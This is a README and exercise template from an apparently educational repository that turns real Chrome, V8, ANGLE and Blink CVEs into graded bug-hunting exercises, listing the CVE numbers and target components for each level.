    "content": "# bug-hunting-101\n\n## What is this?\n\nThis repository is to help new-comers (like ourselves) of binary bug hunting area to improve their skills.\n\nCurrently, the gap between CTF and real world bug hunting can be quite huge.\nAnd this repository is our attempt to solve that problem by porting the real world bug hunting to small exercises.\n\nCVEs are selected out and setup in a certain scene, your goal is to repeat the process of finding such vulnerabilities out.\n\n## Intro\n\nWe have prepared 3 levels.\nEach level provides excersises with different difficulties:\n\n- Level 1: Details of the CVEs are provided to help you from \"re-discovering\" the original vulnerability. Reports like [this](https://talosintelligence.com/vulnerability_reports/TALOS-2020-1127) are provided.\nSo this should be the easiest level.\n- Level 2: the details will be emitted. But to narrow down, information about which part of the project contains such vulnerability will be provided. For example, if the bug is about ANGEL (module of the Chromium project),\nthe information about the file will be provided.\nMost of the time, the path to the patch file should help that.\n- Level 3: quite like level 2, but need PoC and exploit (optional)\n\n\n## LEVEL 1\n|                Exercise No.                |        CVEs        |    Target    |\n| :----------------------------------------: | :----------------: | :----------: |\n| [LEVEl_1/exercise_1](./LEVEL_1/exercise_1) | **CVE-2020-6542**  | Chrome WebGL |\n| [LEVEl_1/exercise_2](./LEVEL_1/exercise_2) | **CVE-2020-6463**  | Chrome ANGLE |\n| [LEVEl_1/exercise_3](./LEVEL_1/exercise_3) | **CVE-2020-16005** |    ANGLE     |\n| [LEVEl_1/exercise_4](./LEVEL_1/exercise_4) | **CVE-2021-21204** | Chrome Blink |\n| [LEVEl_1/exercise_5](./LEVEL_1/exercise_5) | **CVE-2021-21203** |    Blink     |\n| [LEVEl_1/exercise_6](./LEVEL_1/exercise_6) | **CVE-2021-21188** |    Blink     |\n| [LEVEl_1/exercise_7](./LEVEL_1/exercise_7) | **CVE-2021-30565** |    V8 GC     |\n\n\n\n## LEVEL 2\n\n|               Exercise No.               |        CVEs        |    Target     |\n| :--------------------------------------: | :----------------: | :-----------: |\n| [LEVEL_2/exercise_1](LEVEL_2/exercise_1) | **CVE-2021-21128** |     Blink     |\n| [LEVEL_2/exercise_2](LEVEL_2/exercise_2) | **CVE-2021-21122** |     Blink     |\n| [LEVEL_2/exercise_3](LEVEL_2/exercise_3) | **CVE-2021-21112** |     Blink     |\n| [LEVEL_2/exercise_4](LEVEL_2/exercise_4) | **CVE-2021-30565** |  Chrome Tab   |\n| [LEVEL_2/exercise_5](LEVEL_2/exercise_5) | **CVE-2021-21159** |      Tab      |\n| [LEVEL_2/exercise_6](LEVEL_2/exercise_6) | **CVE-2021-21190** | Chrome pdfium |\n| [LEVEL_2/exercise_7](LEVEL_2/exercise_7) | **CVE-2020-6422**  |     Blink     |\n\n\n\n## LEVEL 3\n\n|                Exercise No.                |        CVEs        |        Target        |\n| :----------------------------------------: | :----------------: | :------------------: |\n| [LEVEl_3/exercise_1](./LEVEL_3/exercise_1) | **CVE-2021-21226** | navigation_predictor |\n| [LEVEl_3/exercise_2](./LEVEL_3/exercise_2) | **CVE-2021-21224** |          V8          |\n| [LEVEl_3/exercise_3](./LEVEL_3/exercise_3) | **CVE-2021-21223** |         mojo         |\n| [LEVEl_3/exercise_4](./LEVEL_3/exercise_4) | **CVE-2021-21207** |       IndexDB        |\n| [LEVEl_3/exercise_5](./LEVEL_3/exercise_5) | **CVE-2021-21202** |      extensions      |\n| [LEVEl_3/exercise_6](./LEVEL_3/exercise_6) | **CVE-2021-21198** |         IPC          |\n| [LEVEl_3/exercise_7](./LEVEL_3/exercise_7) | **CVE-2021-21155** |         Tab          |\n\n\n## Original Author\n\n- [ddme](https://github.com/ret2ddme)\n- [lime](https://github.com/Limesss)\n\n\n## How to contribute\n\nWriting your exercise follow [this](./Template.md) format.\n\n\n\n"
  },
  {
    "path": "Template.md",
    "content": "# Exercise x\n\n\n## CVE-xxxx-xxxx\nI sugget you don't search any report about it to prevents get too much info like patch.\n\n\n### Details\n\n#### In level 1\nIn level 1, you can write some describ of how the bug form. In short just ctrl+c/ctrl+v from patch, but must some useful words.\n\n**Good example**:\n> Prior to the patch, the validity of the execution context was only\n> checked on entry to the method; however, the execution context can\n> be invalidated during the course of parsing keyframes or options.\n> The parsing of options is upstream of Animatable::animate and caught by\n> the existing check, but invalidation during keyframe parsing could fall\n> through triggering a crash. \n\n**Bad example**\n> Use after free in Blink in Google Chrome prior to 89.0.4389.72 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page.\n\n#### In level 2\nIn level 2, this part should be banned\n\n\n### Set environment\n\nthe way to get/download the source code, or how to compile it and others.\n\n\n### Related code\n\nsome related source code or file path\n\n\n### Do it\nDo this exercise by yourself, If you find my answer have something wrong, please correct it.\n\n\n---------\n\n<details>\n  <summary>My answer</summary>\n\n   [ write your answer here ]\n\n</details>\n\n--------\n"
  }
]